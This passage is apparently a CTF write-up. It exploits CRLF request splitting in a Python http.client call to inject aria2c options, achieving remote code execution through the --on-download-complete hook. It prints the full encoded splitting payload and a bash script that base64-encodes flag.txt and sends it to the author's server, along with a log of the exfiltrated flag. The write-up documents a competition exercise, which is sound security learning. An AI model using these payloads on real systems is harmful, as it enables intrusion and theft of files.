    params = bson.dumps({
        "options": options
    })
    conn.request("POST", "/?url=" + url_to_fetch, params)
    response = conn.getresponse()
    print("Stats:")
    print(response.read().decode())
    print()

As we can see they’re not using python’s request library but the raw http.client. Since url_to_fetch is appended without any particular sanitizations (aparte from being parse by urlparse) it’s possible to inject CRLF to perform an HTTP request Splitting: in practice we could add some newline characters we changing the url_to_fetch parameter and modify the request with our own body and headers. By controlling the Content-Type header we are able to force the backend server to discard the additional body added by the script.

By running the original script locally in order to test the vulnerability we can see that using "http://jbz.com/ HTTP/1.1\r\nheader: splitting-test" as a url the backend would receive the following request:

connect to [127.0.0.1] from localhost [127.0.0.1] 56362
POST /?url=http://jbz.com/ HTTP/1.1
header: splitting-test HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: identity
Content-Length: 109

moptions_0
          --timeout=21--connect-timeout=22--max-tries=53--dry-run=false

So the splitting does work.

However there’s still a problem: the body of the request is being produced by the bson.dumps functions which hash a binary output which is not being encoded. Since our payload need to be loaded from the url config via the json.loads we can’t directly send stuff like null bytes because JSON will fail. After a lot of testing we discovered that while \x00 can’t be used because it’s a control character, it’s unicode equivalent, \u0000 is indeed valid.

The next step is to check the aria2 manual to see if there are useful options:

From the aria2c doc:

--on-download-complete=<COMMAND>

Set the command to be executed after download completed.
See See Event Hook for more details about COMMAND.
See also --on-download-stop option. Possible Values: /path/to/command

Let’s see an example of how arguments are passed to command:

$ cat hook.sh
#!/bin/sh
echo "Called with [$1] [$2] [$3]"
$ aria2c --on-download-complete hook.sh http://example.org/file.iso
Called with [1] [1] [/path/to/file.iso]

The above options should help to achieve code execution but there are again limitations:

/path/to/command needs the executable permissions which we cannot set
The first argument of /path/to/command is the GID of the download

Luckly the GID of a download is random by default but it can be forced by the --gid option. The following aria2c command succesfully execute the payload located at http://jbzserver/a41b1d2f5a2c2da7:

aria2c --on-download-complete=bash --gid=a41b1d2f5a2c2da7 http://jbzserver/a41b1d2f5a2c2da7 --dry-run=false

Here’s the final payload prepared for the request splitting and unicode encoded:

"http://jbzserver:8080/a41b1d2f5a2c2da7 HTTP/1.1\r\nHost: localhost\r\nAccept-Encoding: identity\r\nContent-Length: 126\r\n\r\n\u007e\u0000\u0000\u0000\u0004\u006f\u0070\u0074\u0069\u006f\u006e\u0073\u0000\u0070\u0000\u0000\u0000\u0002\u0030\u0000\u0010\u0000\u0000\u0000\u002d\u002d\u0064\u0072\u0079\u002d\u0072\u0075\u006e\u003d\u0066\u0061\u006c\u0073\u0065\u0000\u0002\u0031\u0000\u001c\u0000\u0000\u0000\u002d\u002d\u006f\u006e\u002d\u0064\u006f\u0077\u006e\u006c\u006f\u0061\u0064\u002d\u0063\u006f\u006d\u0070\u006c\u0065\u0074\u0065\u003d\u0062\u0061\u0073\u0068\u0000\u0002\u0032\u0000\u000c\u0000\u0000\u0000\u002d\u002d\u0074\u0069\u006d\u0065\u006f\u0075\u0074\u003d\u0032\u0000\u0002\u0033\u0000\u0017\u0000\u0000\u0000\u002d\u002d\u0067\u0069\u0064\u003d\u0061\u0034\u0031\u0062\u0031\u0064\u0032\u0066\u0035\u0061\u0032\u0063\u0032\u0064\u0061\u0037\u0000\u0000\u0000\r\n\r\n"

For completeness, here’s the payload:

#!/bin/bash
aria2c http://jbzserver:8080/?resp=$(cat flag.txt | base64 | tr -d '\n')

Serving HTTP on 0.0.0.0 port 8080 ...
213.32.74.44 - - [09/Apr/2018 10:23:37] "GET /a41b1d2f5a2c2da7 HTTP/1.1" 200 -
213.32.74.44 - - [09/Apr/2018 10:23:38] "GET /?resp=SU5TQXt3cm9uZ19saWJzX2NvbWJpbmF0aW9uP19vcl9iYWRfcHJvZ3JhbW1lcj99 HTTP/1.1" 200 -

The flag was INSA{wrong_libs_combination?_or_bad_programmer?}.